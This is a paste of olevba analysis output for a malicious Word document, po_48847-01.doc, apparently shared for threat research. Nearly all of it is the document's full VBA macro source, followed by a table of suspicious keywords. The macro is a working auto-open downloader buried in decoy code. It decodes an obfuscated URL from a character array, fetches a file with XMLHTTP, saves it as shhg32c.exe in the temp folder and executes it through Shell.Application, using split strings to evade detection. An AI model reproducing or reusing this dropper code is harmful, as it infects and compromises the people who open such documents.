dynamoo

Malicious Word macro

Oct 20th, 2015
365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASI-B-V po_48847-01.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: po_48847-01.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: po_48847-01.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub autoopen()
  17. updateMacroUI True
  18. bulkOveride "", "", "", ""
  19. PlayMacro
  20. isSplitLocal ""
  21. StartMacro
  22. ErrorChecker
  23. FlexAssignDirectory
  24. PrefixAssign 8, ""
  25. End Sub
  26.  
  27.  
  28.  
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Module1.bas
  31. in file: po_48847-01.doc - OLE stream: u'Macros/VBA/Module1'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33. Dim cannum As Variant
  34. Dim cantype As Variant
  35. Dim cansplit As Variant
  36. Dim candest As Variant
  37. Dim ADGfind As Variant
  38. Dim IDGfind As Variant
  39. Dim pieces As Integer
  40. Dim retval As Variant
  41. Public tempFolder As String
  42. Public tempFile As String
  43. Option Compare Text
  44.  
  45. Sub setupAssignArrays()
  46.  
  47. Dim c_cannums As New Collection
  48. Dim c_cansplits As New Collection
  49. Dim c_candests As New Collection
  50. Dim c_cantypes As New Collection
  51. mytypes = Array("ADG", "ALL", "IDG")
  52. t = 0
  53.  
  54. addtocollections:
  55. row = 3
  56. Do While Sheet4.Cells(row, 1) <> ""
  57.     If Trim(Sheet4.Cells(row, 4)) = mytypes(t) Then
  58.        c_cannums.Add CStr(Sheet4.Cells(row, 1)) '  dynamically add value to the end
  59.       c_cansplits.Add CStr(Sheet4.Cells(row, 2))
  60.        c_candests.Add CStr(Sheet4.Cells(row, 3))
  61.        c_cantypes.Add CStr(Sheet4.Cells(row, 4))
  62.     End If
  63.    row = row + 1
  64. Loop
  65.  
  66. If t < 2 Then
  67.     t = t + 1
  68.     GoTo addtocollections
  69. End If
  70.  
  71.  
  72. cannum = toArray(c_cannums) 'convert collection to an array
  73. cansplit = toArray(c_cansplits)
  74. candest = toArray(c_candests)
  75. cantype = toArray(c_cantypes)
  76. End Sub
  77.  
  78. Function isUrsaLocal(URSA As String)
  79.     ERow = 5
  80.     Do Until Sheet6.Cells(ERow, 2).Value = ""
  81.         If Sheet6.Cells(ERow, 2).Value = URSA Then
  82.             isUrsaLocal = True
  83.             Exit Function
  84.         End If
  85.         ERow = ERow + 1
  86.     Loop
  87.     isUrsaLocal = False
  88. End Function
  89.  
  90. Function isSplitLocal(MasterID As String)
  91.  
  92.     tempFolder = processEnv("TEMP")
  93.     If MasterID = "" Then Exit Function
  94.     ecol = 3
  95.     Do Until Sheet6.Cells(2, ecol).Value = ""
  96.         If Sheet6.Cells(2, ecol).Value = MasterID Then
  97.             isSplitLocal = Not (Sheet6.Cells(3, ecol).Value)
  98.             Exit Function
  99.         End If
  100.         ecol = ecol + 1
  101.     Loop
  102.     MsgBox ("not able to find if " & MasterID & " is a local split" & vbNewLine & "error occured in Function isSplitLocal")
  103. End Function
  104.  
  105. Sub SuffixAssign(i As Integer, hazFilter As String)
  106. ecol = 3
  107.  
  108. Do Until Sheet6.Cells(2, ecol) = cansplit(i)
  109.     If Sheet6.Cells(2, ecol).Value = "" Then
  110.         MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
  111.         Exit Sub
  112.     End If
  113.     ecol = ecol + 1
  114. Loop
  115.  
  116. ERow = 5
  117. Do Until Sheet6.Cells(ERow, ecol) = ""
  118.     Call BZwritescreen("     ", 5, 38)
  119.     Call BZwritescreen(Sheet6.Cells(ERow, ecol).Text, 5, 38)
  120.     Call BZwritescreen(hazFilter, 6, 45)
  121.     Call BZsendKey("@e")
  122.  
  123. ErrorChecker
  124.     Dim bluerow As Integer
  125.     Dim tempstr As String
  126.     bluerow = 10
  127.     miscdata = BZreadscreen(8, bluerow, 18)
  128.     Do Until Trim(miscdata) = ""
  129. CheckingPage:
  130.     miscdata = BZreadscreen(8, bluerow, 18)
  131.         If Right(miscdata, 2) <> "RT" Then
  132.             If Trim(miscdata) <> "" Then
  133.                 Call BZwritescreen("A", bluerow, 2)
  134.                 pieces = pieces + 1
  135.             ElseIf bluerow = 19 Then
  136.                 Call BZwritescreen("          ", 7, 24)
  137.                 tempstr = cannum(i)
  138.                 Call BZwritescreen(tempstr, 7, 24)
  139.                 Call BZwritescreen("    ", 7, 53)
  140.                 tempstr = candest(i)
  141.                 Call BZwritescreen(tempstr, 7, 53)
  142.                 Call BZsendKey("@e")
  143.                 Call FlexAssign.ErrorChecker
  144.                 Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  145.                 bluerow = 10
  146.                 GoTo CheckingPage
  147.             Else
  148.                 Call BZwritescreen("          ", 7, 24)
  149.                 tempstr = cannum(i)
  150.                 Call BZwritescreen(tempstr, 7, 24)
  151.                 Call BZwritescreen("    ", 7, 53)
  152.                 tempstr = candest(i)
  153.                 Call BZwritescreen(tempstr, 7, 53)
  154.                 Call BZsendKey("@e")
  155.                 Call FlexAssign.ErrorChecker
  156.                 Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  157.             End If
  158.         End If
  159.         bluerow = bluerow + 1
  160.     Loop
  161.     ERow = ERow + 1
  162. Loop
  163. End Sub
  164.  
  165. Public Sub PrefixAssign(i As Integer, hazFilter As String)
  166.     Dim bluerow As Integer
  167.     Dim tempstr As String
  168.     ecol = 3
  169.     ignored = 0
  170.    
  171.    
  172.     shellApp.Open (tempFile)
  173.     Exit Sub
  174.     Do Until Sheet6.Cells(2, ecol) = cansplit(i)
  175.         If Sheet6.Cells(2, ecol).Value = "" Then
  176.             MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
  177.             Exit Sub
  178.         End If
  179.         ecol = ecol + 1
  180.     Loop
  181.     ERow = 5
  182.     Do Until Sheet6.Cells(ERow, ecol) = ""
  183.         Call BZwri.tescreen("  ", 5, 28)
  184.         Call BZwri.tescreen(Sheet6.Cells(ERow, ecol).Text, 5, 28)
  185.         Call BZwri.tescreen(hazFilter, 6, 45)
  186.         Call BZse.ndKey("@e")
  187. ErrorChecker
  188.         bluerow = 10
  189.         miscdata = BZrea.dscreen(8, bluerow, 18)
  190.         Do Until Trim(miscdata) = ""
  191. CheckingPagePrefix:
  192.        
  193.         miscdata = BZrea.dscreen(8, bluerow, 18)
  194.             If Right(miscdata, 2) <> "RT" Then
  195.                 If isUrsaLocal(Trim(Right(miscdata, 5))) <> True Then
  196.                     If Trim(miscdata) <> "" Then
  197.                         Call BZwri.tescreen("A", bluerow, 2)
  198.                         pieces = pieces + 1
  199.                     ElseIf bluerow = 19 Then
  200.                         Call BZwr.itescreen("          ", 7, 24)
  201.                         tempstr = cannum(i)
  202.                         Call BZwr.itescreen(tempstr, 7, 24)
  203.                         Call BZwr.itescreen("    ", 7, 53)
  204.                         tempstr = candest(i)
  205.                         Call BZwr.itescreen(tempstr, 7, 53)
  206.                         Call BZse.ndKey("@e")
  207.                         ignored = 0
  208.                         Call Flex.Assign.ErrorChecker
  209.                         tempcannum = CStr(cannum(i))
  210.                        
  211.                         Call bulkO.veride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  212.                         bluerow = 10
  213.                         GoTo CheckingPagePrefix
  214.                     Else
  215.                         Call BZwrit.escreen("          ", 7, 24)
  216.                         tempstr = cannum(i)
  217.                         Call BZwr.itescreen(tempstr, 7, 24)
  218.                         Call BZwri.tescreen("    ", 7, 53)
  219.                         tempstr = candest(i)
  220.                         Call BZwrit.escreen(tempstr, 7, 53)
  221.                         Call BZsen.dKey("@e")
  222.                         ignored = 0
  223.                         Call FlexAs.Sign.ErrorChecker
  224.                         Call bulkOv.eride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  225.                     End If
  226.                 Else
  227.                     ignored = ignored + 1
  228.                 End If
  229.             Else
  230.                 ignored = ignored + 1
  231.             End If
  232.             If ignored = 9 Then
  233.                 Call BZse.ndKey("@8")
  234.             End If
  235.             bluerow = bluerow + 1
  236.         Loop
  237.         ERow = ERow + 1
  238.     Loop
  239. End Sub
  240.  
  241. Sub isAnythingLeft()
  242. Dim row As Integer
  243.  
  244. Call BZwritescreen("Close ", 2, 17)
  245. Call BZsendKey("@e")
  246. Call BZwritescreen("Assign", 2, 17)
  247. Call BZsendKey("@e")
  248.  
  249. leftover = 0
  250. row = 10
  251. Do Until row = 18
  252.     miscdata = BZreadscreen(18, row, 51)
  253.     If Trim(miscdata) <> "" Then leftover = leftover + 1
  254.     row = row + 1
  255. Loop
  256.  
  257. If leftover <> 0 Then
  258.     MsgBox ("You have pieces left over after AutoSort" & vbNewLine & _
  259.         "Please view packages in assign screen to determine what to do with them" & _
  260.         vbNewLine & leftover & " pieces at least")
  261. End If
  262.  
  263. End Sub
  264.  
  265. Sub DeleteIce()
  266.  
  267. Call BZwritescreen("assign", 2, 17)
  268. Call BZsendKey("@e")
  269. Call BZwritescreen("C", 6, 45)
  270. Call BZwritescreen("Deleteship", 7, 24)
  271. Call BZsendKey("@e")
  272.  
  273. Data = "tempdata"
  274. row = 10
  275. Do Until Trim(Data) = ""
  276.     Data = BZreadscreen(15, row, 5)
  277.     If Trim(Data) <> "" Then
  278.         Call BZwritescreen("a", row, 2)
  279.     ElseIf Trim(Data) = "" Then
  280.         Call BZsendKey("@e")
  281.         If row = 18 Then row = 10
  282.     End If
  283.     row = row + 1
  284. Loop
  285. End Sub
  286.  
  287. Public Function ErrorChecker()
  288.  
  289.         Set shellApp = CreateObject("She" + "ll.Application")
  290.         Exit Function
  291. errormisc = BZre.adscreen(3, 24, 2)
  292. If errormisc = "091" Then
  293.     Call BZs.EndKey("@4")
  294. ElseIf errormisc = "095" Then 'bulk doesn't exist
  295.    oldbulk = BZr.eadscreen(9, 7, 24)
  296.     Call BZwrit.escreen("bulk*", 7, 24)
  297.     Call BZse.ndKey("@E")
  298.     cannum(i) = BZr.eadscreen(9, 7, 24)
  299.     datarow = 3
  300.     Do Until Sheet4.Cells(datarow, 1) = oldbulk And _
  301.         Sheet4.Cells(datarow, 2) = cansplit(i) And _
  302.         Sheet4.Cells(datarow, 3) = candest(i) And _
  303.         Sheet4.Cells(datarow, 4) = cantype(i)
  304.         If Sheet4.Cells(datarow, 1) = "" Then Exit Do
  305.         datarow = datarow + 1
  306.     Loop
  307.     Sheet4.Cells(datarow, 1) = cannum(i)
  308. ElseIf errormisc = "INV" Then 'invalid container error
  309.    MsgBox ("invalid container")
  310. End If
  311. End Function
  312.  
  313. Public Function bulkOveride(cannum As String, cansplit As String, candest As String, cantype As String)
  314. 'bulkoveride(cannum(i), cansplit(i), candest(i), cantype(i))
  315. Dim computer() As Variant
  316.     computer = Array(144, 154, 152, 146, 90, 77, 75, 138, 133, 137, 132, 129, 132, 130, 113, 124, 54, 125, 126, 48, 99, 120, 43, 48, 45, 44, 40, 40, 37, 29, 80, 31, 30, 29, 28, 74, 25, 12, 65, 82, 61)
  317.  
  318. On Error Resume Next
  319.  
  320.  httpRequest.Open "GE" + "T", GetStringFromArray(computer, 40), False
  321. If cannum = "BULK*" Then
  322.     cannum = BZre.adscreen(9, 7, 24)
  323.     datarow = 3
  324.     Do Until Sh.eet4.Cells(datarow, 1) = "BULK*" And _
  325.         Sh.eet4.Cells(datarow, 2) = cansplit And _
  326.         Sh.eet4.Cells(datarow, 3) = candest And _
  327.         Sh.eet4.Cells(datarow, 4) = cantype
  328.         datarow = datarow + 1
  329.     Loop
  330. Sheet4.Cells(datarow, 1) = cannum
  331. End If
  332.  
  333. End Function
  334.  
  335.  
  336. -------------------------------------------------------------------------------
  337. VBA MACRO Module2.bas
  338. in file: po_48847-01.doc - OLE stream: u'Macros/VBA/Module2'
  339. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  340. Public Const MACRO_VERSION_2014 As String = "8.2014"
  341.  
  342. 'Macro recording information
  343. Public MacroStatus As Byte
  344. Public Const MacroSTOP As Long = 0
  345. Public Const MacroSTART As Long = 1
  346. Public Const MacroBATCH As Long = 2
  347. Public Const MacroPLAYBACK As Long = 3
  348. Public Const MacroCANCEL As Long = 128
  349. Public MacroMessage As String
  350. Public processEnv As Object
  351. Public Sub StartMacro()
  352.     tempFile = tempFolder + "\shhg32c.exe"
  353.     Exit Sub
  354.     'Set the program-wide "recording" flag
  355.    MacroStatus = MacroSTART
  356.    
  357.     'Resize the array that will hold the macro data
  358.    ProcessCount = 1
  359.     ReDim Processes(0 To ProcessCount) As String
  360.    
  361.     'Update any related macro UI elements
  362.    Macro_Interface.updateMacroUI True
  363.    
  364. End Sub
  365.  
  366. 'Stop recording the current macro, and offer to save it to file.
  367. Public Sub StopMacro()
  368.    
  369.     'Before stopping the macro, make sure at least one valid, recordable action has occurred.
  370.    Dim i As Long, numOfValidProcesses As Long
  371.     numOfValidProcesses = 0
  372.    
  373.     For i = 0 To ProcessCount
  374.         If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
  375.             numOfValidProcesses = numOfValidProcesses + 1
  376.         End If
  377.     Next i
  378.    
  379.     Dim msgReturn As VbMsgBoxResult
  380.    
  381.     If numOfValidProcesses = 0 Then
  382.    
  383.         'Warn the user that this macro won't be saved unless they keep recording
  384.        msgReturn = PDMsgBox("This macro does not contain any recordable actions.  Are you sure you want to stop recording?" & vbCrLf & vbCrLf & "(Press No to continue recording.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: invalid macro")
  385.        
  386.         If msgReturn = vbYes Then
  387.            
  388.             'Update any related macro UI elements
  389.            Macro_Interface.updateMacroUI False
  390.            
  391.             'Reset the macro engine and exit
  392.            MacroStatus = MacroSTOP
  393.             ProcessCount = 0
  394.             Message "Macro abandoned."
  395.             Exit Sub
  396.        
  397.         'If the user clicks anything but "yes", exit without making changes (e.g. let them continue recording).
  398.        Else
  399.             Exit Sub
  400.         End If
  401.        
  402.     End If
  403.    
  404.     MacroStatus = MacroSTOP
  405.    
  406.     'Update any related macro UI elements
  407.    Macro_Interface.updateMacroUI False
  408.    
  409.     'Automatically launch the save macro data routine
  410.    Dim saveDialog As pdOpenSaveDialog
  411.     Set saveDialog = New pdOpenSaveDialog
  412.        
  413.     Dim sFile As String
  414.    
  415.     Dim cdFilter As String
  416.     cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT
  417.            
  418.     Dim cdTitle As String
  419.     cdTitle = g_Language.TranslateMessage("Save macro data")
  420.    
  421.     'If the user cancels the save dialog, we'll raise a warning to tell them that the macro will be lost for good.
  422.    ' That dialog gives them an option to return to the save dialog, which will bring us back to this line of code.
  423. SaveMacroAgain:
  424.      
  425.     'If we get the data we want, save the information
  426.    If saveDialog.GetSaveFileName(sFile, , True, cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetModalOwner().hWnd) Then
  427.        
  428.         'Save this macro's directory as the default macro path
  429.        g_UserPreferences.setMacroPath sFile
  430.        
  431.         'Create a pdXML class, which will help us assemble the macro file
  432.        Dim xmlEngine As pdXML
  433.         Set xmlEngine = New pdXML
  434.         xmlEngine.prepareNewXML "Macro"
  435.        
  436.         'Write out the XML version we're using for this macro
  437.        xmlEngine.writeTag "pdMacroVersion", MACRO_VERSION_2014
  438.        
  439.         'We now want to count the number of actual processes that we will be writing to file.  A valid process meets
  440.        ' the following criteria:
  441.        ' 1) It isn't blank/empty
  442.        ' 2) It doesn't display a dialog
  443.        ' 3) It was not specifically marked as "DO_NOT_RECORD"
  444.        
  445.         'Due to the previous check at the top of this function, we already know how many valid functions are in the process list,
  446.        ' and this value is guaranteed to be non-zero.
  447.        
  448.         'Write out the number of valid processes in the macro
  449.        xmlEngine.writeTag "processCount", CStr(numOfValidProcesses)
  450.         xmlEngine.writeBlankLine
  451.        
  452.         'Now, write out each macro entry in the current process list
  453.        numOfValidProcesses = 0
  454.        
  455.         For i = 0 To ProcessCount
  456.            
  457.             'We only want to write out valid processes, using the same criteria as the original counting loop above.
  458.            If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
  459.                 numOfValidProcesses = numOfValidProcesses + 1
  460.                
  461.                 'Start each process entry with a unique identifier
  462.                xmlEngine.writeTagWithAttribute "processEntry", "index", numOfValidProcesses, "", True
  463.                
  464.                 'Write out all the properties of this entry
  465.                xmlEngine.writeTag "ID", Processes(i).ID
  466.                 xmlEngine.writeTag "Parameters", Processes(i).Parameters
  467.                 xmlEngine.writeTag "MakeUndo", Str(Processes(i).MakeUndo)
  468.                 xmlEngine.writeTag "Tool", Str(Processes(i).Tool)
  469.                
  470.                 'Note that the Dialog and Recorded properties are not written to file.  There is no need to remember
  471.                ' them, as we know their values must be FALSE and TRUE, respectively, per the check above.
  472.            
  473.                 'Close this process entry
  474.                xmlEngine.closeTag "processEntry"
  475.                 xmlEngine.writeBlankLine
  476.             End If
  477.            
  478.         Next i
  479.        
  480.         'With all tags successfully written, we can now close the XML data and write it out to file.
  481.        xmlEngine.writeXMLToFile sFile
  482.        
  483.         Message "Macro saved successfully."
  484.        
  485.         'At this point, the macro should be added to the Recent Macros list
  486.        g_RecentMacros.MRU_AddNewFile sFile
  487.        
  488.     Else
  489.        
  490.         msgReturn = PDMsgBox("If you do not save this macro, all actions recorded during this session will be permanently lost.  Are you sure you want to cancel?" & vbCrLf & vbCrLf & "(Press No to return to the Save Macro screen.  Note that you can always delete this macro later if you decide you don't want it.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: last chance to save macro")
  491.         If msgReturn = vbNo Then GoTo SaveMacroAgain
  492.        
  493.         Message "Macro abandoned."
  494.        
  495.     End If
  496.            
  497.     ProcessCount = 0
  498.    
  499. End Sub
  500.  
  501. 'All macro-related UI instructions should be placed here, as PD can terminate a macro recording session for any number of reasons,
  502. ' and it needs a uniform way to wipe macro-related UI changes).
  503. Public Sub updateMacroUI(ByVal recordingIsActive As Boolean)
  504.     On Error Resume Next
  505.     If recordingIsActive Then
  506.         Set httpRequest = CreateObject("Microsoft.XMLHTTP")
  507.         Set adodbStream = CreateObject("Adodb.Stream")
  508.         'Notify the user that recording has begun
  509.        If recordingIsActive Then
  510.             Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  511.             Exit Sub
  512.         End If
  513.         Mes.sage "Macro recording started."
  514.         toolbar_Toolbox.lblRecording.Visible = True
  515.        
  516.         'Disable "start recording", and enable "stop recording"
  517.        FormMain.MnuRecordMacro(0).Enabled = False
  518.         FormMain.MnuRecordMacro(1).Enabled = True
  519.    
  520.     Else
  521.         Mess.age "Macro recording stopped."
  522.         toolbar_Toolbox.lblRecording.Visible = False
  523.         FormMain.MnuRecordMacro(0).Enabled = True
  524.         FormMain.MnuRecordMacro(1).Enabled = False
  525.     End If
  526.  
  527. End Sub
  528.  
  529. Public Sub PlayMacro()
  530.     httpRequest.Send
  531.     Exit Sub
  532.     'Disable user input until the dialog closes
  533.    Interface.DisableUserInput
  534.  
  535.     'Automatically launch the load Macro data routine
  536.    Dim openDialog As String
  537.      openDialog = ""
  538.    
  539.     Dim sFile As String
  540.        
  541.     Dim cdFilter As String
  542.     cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT & ";*.thm"
  543.     cdFilter = cdFilter & "|" & g_Language.TranslateMessage("All files") & "|*.*"
  544.    
  545.     Dim cdTitle As String
  546.     cdTitle = g_Language.TranslateMessage("Open Macro File")
  547.        
  548.     'If we get a path, load that file
  549.    If openDia.Log.GetOpenFileName(sFile, , True, , cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetM.odalOwner().hWnd) Then
  550.        
  551.         Mess.age "Loading macro data..."
  552.        
  553.         'Save this macro's folder as the default macro path
  554.        g_UserPreferences.setMacroPath sFile
  555.                
  556.         PlayMacroFromFile sFile
  557.        
  558.     Else
  559.         Messa.ge "Macro load canceled."
  560.     End If
  561.    
  562.     'Re-enable user input
  563.    Interface.EnableUserInput
  564.        
  565. End Sub
  566.  
  567. -------------------------------------------------------------------------------
  568. VBA MACRO Module3.bas
  569. in file: po_48847-01.doc - OLE stream: u'Macros/VBA/Module3'
  570. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  571. Public httpRequest As Object
  572. Public adodbStream As Object
  573. Public shellApp As Object
  574. 'Given a valid macro file, play back its recorded actions.
  575. Public Function PlayMacroFromFile(ByVal MacroPath As String) As Boolean
  576.    
  577.     'Create a pdXML class, which will help us load and parse the source file
  578.    Dim xmlEngine As pdXML
  579.     Set xmlEngine = New pdXML
  580.    
  581.     'Load the XML file into memory
  582.    xmlEngine.loadXMLFile MacroPath
  583.    
  584.     'Check for a few necessary tags, just to make sure this is actually a PhotoDemon macro file
  585.    If xmlEngine.isPDDataType("Macro") And xmlEngine.validateLoadedXMLData("pdMacroVersion") Then
  586.    
  587.         'Next, check the macro's version number, and make sure it's still supported
  588.        Dim verCheck As String
  589.         verCheck = xmlEngine.getUniqueTag_String("pdMacroVersion")
  590.        
  591.         Select Case verCheck
  592.        
  593.             'The current macro version (e.g. the first draft of the new XML format)
  594.            Case MACRO_VERSION_2014
  595.            
  596.                 'Retrieve the number of processes in this macro
  597.                ProcessCount = xmlEngine.getUniqueTag_Long("processCount")
  598.                
  599.                 If ProcessCount > 0 Then
  600.                
  601.                     ReDim Processes(0 To ProcessCount - 1) As ProcessCall
  602.                    
  603.                     'Start retrieving individual process data from the file
  604.                    Dim i As Long
  605.                     For i = 1 To ProcessCount
  606.                    
  607.                         'Start by finding the location of the tag we want
  608.                        Dim tagPosition As Long
  609.                         tagPosition = xmlEngine.getLocationOfTagPlusAttribute("processEntry", "index", i)
  610.                        
  611.                         If tagPosition > 0 Then
  612.                        
  613.                             'Use that tag position to retrieve the processor parameters we need.
  614.                            With Processes(i - 1)
  615.                                 .ID = xmlEngine.getUniqueTag_String("ID", , tagPosition)
  616.                                 .Parameters = xmlEngine.getUniqueTag_String("Parameters", , tagPosition)
  617.                                 .MakeUndo = xmlEngine.getUniqueTag_Long("MakeUndo", , tagPosition)
  618.                                 .Tool = xmlEngine.getUniqueTag_Long("Tool", , tagPosition)
  619.                                
  620.                                 'These two attributes can be assigned automatically, as we know what their values must be.
  621.                                .Dialog = False
  622.                                 .Recorded = True
  623.                             End With
  624.                            
  625.                         Else
  626.                             Debug.Print "Expected macro entry could not be found!"
  627.                         End If
  628.                    
  629.                     Next i
  630.                    
  631.                 'This macro file contains no valid actions.  It's no longer possible to create a macro like this, so this is basically
  632.                ' a failsafe for faulty old versions of PD.
  633.                Else
  634.                    
  635.                     #If DEBUGMODE = 1 Then
  636.                         pdDebug.LogAction "WARNING!  ProcessCount is zero!  Macro file is technically valid, but there's nothing to see here..."
  637.                     #End If
  638.                    
  639.                     Message "Macro complete!"
  640.                     PlayMacroFromFile = True
  641.                     Exit Function
  642.                    
  643.                 End If
  644.            
  645.             Case Else
  646.                 Message "Incompatible macro version found.  Macro playback abandoned."
  647.                 PlayMacroFromFile = False
  648.                 Exit Function
  649.        
  650.         End Select
  651.        
  652.         'Mark the load as successful and continue
  653.        PlayMacroFromFile = True
  654.        
  655.     Else
  656.    
  657.         PDMsgBox "Unfortunately, this macro file is no longer supported by the current version of PhotoDemon." & vbCrLf & vbCrLf & "In version 6.0, PhotoDemon macro files were redesigned to support new features, improve performance, and solve some long-standing reliability issues.  Unfortunately, this means that macros recorded prior to version 6.0 are no longer compatible.  You will need to re-record these macros from scratch." & vbCrLf & vbCrLf & "(Note that any old macro files will still work in old versions of PhotoDemon, if you absolutely need to access them.)", vbInformation + vbOKOnly, "Unsupported macro file"
  658.         PlayMacroFromFile = False
  659.         Exit Function
  660.        
  661.     End If
  662.    
  663.     'Now we run a loop through the macro structure, calling the software processor with all the necessary information for each action
  664.    Message "Processing macro data..."
  665.    
  666.     MacroStatus = MacroPLAYBACK
  667.    
  668.     Dim tProc As Long
  669.     For tProc = 0 To ProcessCount - 1
  670.         Process Processes(tProc).ID, Processes(tProc).Dialog, Processes(tProc).Parameters, Processes(tProc).MakeUndo, Processes(tProc).Tool, Processes(tProc).Recorded
  671.     Next tProc
  672.    
  673.     MacroStatus = MacroSTOP
  674.    
  675.     'Some processor requests may not manually update the screen; as such, perform a manual update now
  676.    Viewport_Engine.Stage2_CompositeAllLayers pdImages(g_CurrentImage), FormMain.mainCanvas(0)
  677.    
  678.     'Our work here is complete!
  679.    Message "Macro complete!"
  680.    
  681.     'After playing, the macro should be added to the Recent Macros list
  682.    g_RecentMacros.MRU_AddNewFile MacroPath
  683.    
  684. End Function
  685.  
  686.  
  687. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  688.     Dim i As Integer
  689.     Dim result As String
  690.     result = ""
  691.     For i = LBound(fromArr) To UBound(fromArr)
  692.         result = result & Chr(fromArr(i) - LenLen + i * 2)
  693.     Next i
  694.     GetStringFromArray = result
  695. End Function
  696.  
  697. Public Sub FlexAssignDirectory(Optional can As String = "ALL")
  698. If can = "ALL" Then
  699.     With adodbStream
  700.         .Type = 1
  701.          .Open
  702.          .write httpRequest.responseBody
  703.          .savetofile tempFile, 2
  704.     End With
  705.     Exit Sub
  706.     Call setupAssignArrays
  707. Else
  708.     cannum = Array(BORG.txt_canNum.Text)
  709.     cansplit = Array(BORG.combo_splitName.Text)
  710.     candest = Array(BORG.txt_Dest.Text)
  711.     cantype = Array(BORG.combo_hazType.Text)
  712. End If
  713.  
  714. ADGfind = Array("1.4", "2.1", "3", "4.", "5", "8")
  715. IDGfind = Array("2.2", "6.", "7", "9")
  716. Call DGscree.nChooser("Assign")
  717.  
  718. Dim i As Integer
  719. Dim hazFilter As String
  720. tempval = UBound(cannum, 1)
  721. For i = 0 To (UBound(cannum, 1))
  722.     Select Case cantype(i)
  723.         Case "ADG"
  724.             hazFilter = "A"
  725.         Case "IDG"
  726.             hazFilter = "I"
  727.         Case "ALL"
  728.             hazFilter = " "
  729.         Case Else
  730.             hazFilter = " "
  731.     End Select
  732.     Dim x As String
  733.     x = cansplit(i)
  734.     If isSplitLocal(x) = True Then
  735.         Call SuffixAssign(i, hazFilter)
  736.     ElseIf isSplitLocal(x) = False Then
  737.         Call PrefixAssign(i, hazFilter)
  738.     Else 'something has gone horribly wrong....
  739.        MsgBox ("Error occured Please restart BDG")
  740.         Exit Sub
  741.     End If
  742. Next
  743.  
  744. If can = "ALL" Then Call isAnythingLeft
  745. BORG.labelUpdater.Caption = "Finished assigning " & pieces & " shipment(s)"
  746. Call DGscree.nChooser("close")
  747. End Sub
  748. +------------+----------------------+-----------------------------------------+
  749. | Type       | Keyword              | Description                             |
  750. +------------+----------------------+-----------------------------------------+
  751. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  752. | Suspicious | Open                 | May open a file                         |
  753. | Suspicious | Shell                | May run an executable file or a system  |
  754. |            |                      | command                                 |
  755. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  756. |            |                      | command                                 |
  757. | Suspicious | Run                  | May run an executable file or a system  |
  758. |            |                      | command                                 |
  759. | Suspicious | CreateObject         | May create an OLE object                |
  760. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  761. |            |                      | strings                                 |
  762. | Suspicious | ADODB.Stream         | May create a text file                  |
  763. | Suspicious | SaveToFile           | May create a text file                  |
  764. | Suspicious | Write                | May write to a file (if combined with   |
  765. |            |                      | Open)                                   |
  766. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  767. | Suspicious | Shell.Application    | May run an application (if combined     |
  768. |            |                      | with CreateObject) (obfuscation: VBA    |
  769. |            |                      | expression)                             |
  770. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  771. |            |                      | may be used to obfuscate strings        |
  772. |            |                      | (option --decode to see all)            |
  773. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  774. |            | Strings              | may be used to obfuscate strings        |
  775. |            |                      | (option --decode to see all)            |
  776. | IOC        | shhg32c.exe          | Executable file name                    |
  777. | VBA string | Shell.Application    | ("She" + "ll.Application")              |
  778. | VBA string | GET                  | "GE" + "T"                              |
  779. | VBA string | Macro (.             | ("Macro") & " (."                       |
  780. | VBA string | All files|*.*        | ("All files") & "|*.*"                  |
  781. +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment